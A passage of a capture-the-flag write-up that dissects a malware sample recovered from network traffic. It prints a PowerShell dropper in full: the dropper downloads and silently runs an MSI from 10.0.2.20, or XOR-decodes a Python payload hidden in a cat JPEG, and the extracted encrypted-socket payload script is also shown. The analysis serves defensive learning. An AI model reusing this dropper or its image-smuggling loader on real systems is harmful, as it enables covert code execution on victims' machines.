important.rar: Zip archive data, at least v2.0 to extract</code></pre>
<p>Just use the <code>unzip</code> command to extract the contents of the archive.</p>
<div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb3-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">$</span> unzip important.rar</span>
<span id="cb3-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Archive:</span>  important.rar</span>
<span id="cb3-3">   <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">creating:</span> IMPORTANT.md /</span>
<span id="cb3-4"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">replace</span> IMPORTANT.md <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">?</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">y</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span>es, <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">n</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span>o, <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">A</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span>ll, <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">N</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span>one, <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">r</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span>ename: y</span>
<span id="cb3-5"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">error:</span>  cannot delete old IMPORTANT.md</span>
<span id="cb3-6">        <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Is</span> a directory</span>
<span id="cb3-7">  <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">inflating:</span> IMPORTANT.md /IMPORTANT.md .cmd</span></code></pre></div>
<p>The files in the archive seems to have strange names, with a space at the end. No idea why, but we can just rename them.</p>
<div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb4-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">$</span> mv IMPORTANT.md<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\ </span> important</span>
<span id="cb4-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">$</span> cd important</span>
<span id="cb4-3"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">$</span> mv IMPORTANT.md<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\ </span>.cmd IMPORTANT.cmd</span></code></pre></div>
<p>At this point we have a file called <code>IMPORTANT.cmd</code>, which we can open in a text editor or cat to the terminal.</p>
<div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb5-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">$</span> cat IMPORTANT.cmd</span></code></pre></div>
<div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode cmd code-with-copy"><code class="sourceCode dosbat"><span id="cb6-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">@</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo off</span></span>
<span id="cb6-2">powershell.exe <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-command</span> 'if ((<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;</span>{python <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-V</span>} <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">2&gt;&amp;1</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> % gettype) <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-eq</span> [System.Management.Automation.ErrorRecord]<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">)</span> {Invoke-WebRequest http:/<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">/10</span>.0.2.20<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">/msupdate</span>.msi <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-OutFile</span> C:\Temp\msupdate.msi; Start<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-Process</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"C:\Temp\msupdate.exe"</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-WindowStyle</span> Hidden} else {$s = (Invoke<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-WebRequest</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"http://10.0.2.20/G78GAP3GQV8B.jpg"</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">)</span>.Content; $k = $s[<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-4934</span>..<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-2467</span>]; $v = $s[<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-2467</span>..<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-1</span>]; $o = @(<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">)</span>; <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">($i</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">=</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">0;</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">$i</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">-lt</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">2467;</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">$i++)</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">{</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">$o</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">+=</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">$k[$i]</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">-bxor</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">$v[$i];</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">};</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">$o</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">=</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">[System.Text.Encoding]::ASCII.GetString($o);</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">python3</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">-c</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">"$($o)"}'%</span></span></code></pre></div>
<p>Let’s prettify the command a bit to make it easier to read.</p>
<div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode powershell code-with-copy"><code class="sourceCode powershell"><span id="cb7-1"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((&amp;{</span>python <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>V<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&amp;</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">%</span> gettype<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-eq</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Management</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Automation</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ErrorRecord</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-2">    <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Invoke-WebRequest</span> http<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">://</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">10.0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2.20</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span>msupdate<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">msi</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>OutFile C<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span>\Temp\msupdate<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">msi</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Start-Process</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"C:\Temp\msupdate.exe"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>WindowStyle Hidden</span>
<span id="cb7-3"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-4">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$s</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Invoke-WebRequest</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"http://10.0.2.20/G78GAP3GQV8B.jpg"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">).</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Content</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-5">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$s</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>-4934<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">..</span>-2467<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb7-6">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$v</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$s</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>-2467<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">..</span>-1<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb7-7">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$o</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">@();</span></span>
<span id="cb7-8">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-lt</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2467</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">++)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-9">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$o</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-bxor</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$v</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb7-10">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb7-11">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$o</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>ASCII<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$o</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> python3 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>c <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">$(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$o</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span></span>
<span id="cb7-12"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div>
<p>It seems like the script is checking if Python is installed, and if not, it will download and execute a file called <code>msupdate.msi</code>. If Python is installed, it will download a file called <code>G78GAP3GQV8B.jpg</code>, extract some data from it and execute it as a Python script.</p>
<p>We don’t have access to the 10.0.2.20 server, so we can’t download the files. But we can extract the Python script from the <code>G78GAP3GQV8B.jpg</code> file which can be found in the pcap file.</p>
<p>Back in Wireshark, export the <code>G78GAP3GQV8B.jpg</code> file from the HTTP response.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://olback.dev/posts/2024-03-24-undutmaning-raring/wireshark2.png" class="img-fluid figure-img"></p>
<figcaption>Export G78GAP3GQV8B.jpg</figcaption>
</figure>
</div>
<p>We should now have a file called <code>G78GAP3GQV8B.jpg</code> which we can open in a photo viewer of our choice.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://olback.dev/posts/2024-03-24-undutmaning-raring/G78GAP3GQV8B.jpg" class="img-fluid figure-img"></p>
<figcaption>G78GAP3GQV8B.jpg</figcaption>
</figure>
</div>
<p>The image seems to be a regular image of a cat, but looking at the powershell script above, we know that there is some hidden data in the image. We can extract the data using a modified version of the powershell script.</p>
<div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode powershell code-with-copy"><code class="sourceCode powershell"><span id="cb8-1"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$s</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Get-Content</span> G78GAP3GQV8B<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">jpg</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>Encoding Byte</span>
<span id="cb8-2"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$s</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>-4934<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">..</span>-2467<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb8-3"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$v</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$s</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>-2467<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">..</span>-1<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb8-4"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$o</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">@();</span></span>
<span id="cb8-5"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-lt</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2467</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">++)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb8-6">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$o</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-bxor</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$v</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb8-7"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb8-8"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$o</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>ASCII<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$o</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb8-9"></span>
<span id="cb8-10"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Write-Output</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$o</span></span></code></pre></div>
<p>We have removed the download part and python execution, and instead read the image file as bytes and extracted the hidden data using the same method as the script, printing the output to the terminal.</p>
<p>The script spits out the following python script:</p>
<div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb9-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> Crypto.Random <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> get_random_bytes</span>
<span id="cb9-2"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> Crypto.Cipher <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> AES, PKCS1_OAEP</span>
<span id="cb9-3"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> Crypto.PublicKey <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> RSA</span>
<span id="cb9-4"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> time <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> sleep</span>
<span id="cb9-5"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> subprocess</span>
<span id="cb9-6"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> socket</span>
<span id="cb9-7"></span>
<span id="cb9-8"></span>
<span id="cb9-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> encrypt_session_key(session_key: <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytes</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytes</span>:</span>
<span id="cb9-10">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># </span><span class="al" style="color: #AD0000;
background-color: null;
font-style: inherit;">TODO</span><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">: generate new rsa key, p and q are too close..</span></span>
<span id="cb9-11">    public_pem <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'''-----BEGIN PUBLIC KEY-----</span></span>
<span id="cb9-12"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2p66AmcxzvL+l5Ib/SjM</span></span>
<span id="cb9-13"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    yVcX0PReNxuylpgqvrd6jht3s7DvUSuK0SJYJSNiIxJPBcCmwGFdA+URSVZZfH81</span></span>
<span id="cb9-14"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    UscqCGgtDfFyioAICLNQFDCedes7+5z/XXWob/0aRblifPBtg4Bw/ZOkhpCFg7BA</span></span>
<span id="cb9-15"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    C7DMO8dG1Na2gl78cOsCyms4nHtd2vXOBHHSTMz3Ua7hyZVQC97lZKuJQ65ijy3c</span></span>
<span id="cb9-16"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    dNaiZzN1J1ehUiugP39bnNSjaH8QbAdYL+TapK39KZRXjA38ndnplfFT3X17tM/j</span></span>
<span id="cb9-17"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    5YW2z6dhMZsVpDMc3CdP30r5irC5XcnRXXHbf4WTtyL2/WhEmefre9I98r1smC+B</span></span>
<span id="cb9-18"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    iwIDAQAB</span></span>
<span id="cb9-19"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    -----END PUBLIC KEY-----'''</span></span>
<span id="cb9-20"></span>
<span id="cb9-21">    public_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> RSA.import_key(public_pem)</span>
<span id="cb9-22">    cipher <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> PKCS1_OAEP.new(public_key)</span>
<span id="cb9-23">    ciphertext <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> cipher.encrypt(session_key)</span>
<span id="cb9-24">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> ciphertext</span>
<span id="cb9-25"></span>
<span id="cb9-26"></span>
<span id="cb9-27"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> encrypt_AES_GCM(key, plaintext):</span>
<span id="cb9-28">    cipher <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> AES.new(key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>key, mode<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>AES.MODE_GCM)</span>
<span id="cb9-29">    ciphertext, tag <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> cipher.encrypt_and_digest(plaintext)</span>
<span id="cb9-30">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> cipher.nonce <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> tag <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> ciphertext</span>
<span id="cb9-31"></span>
<span id="cb9-32"></span>
<span id="cb9-33"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> decrypt_AES_GCM(key, nonce, tag, ciphertext):</span>
<span id="cb9-34">    cipher <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> AES.new(key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>key, nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>nonce, mode<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>AES.MODE_GCM)</span>
<span id="cb9-35">    plaintext <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> cipher.decrypt_and_verify(ciphertext, tag)</span>
<span id="cb9-36">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> plaintext.decode(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'utf-8'</span>)</span>
<span id="cb9-37"></span>
<span id="cb9-38"></span>
<span id="cb9-39"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">__name__</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'__main__'</span>:</span>
<span id="cb9-40">    sock <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span>
<span id="cb9-41">    session_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> get_random_bytes(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">16</span>)</span>
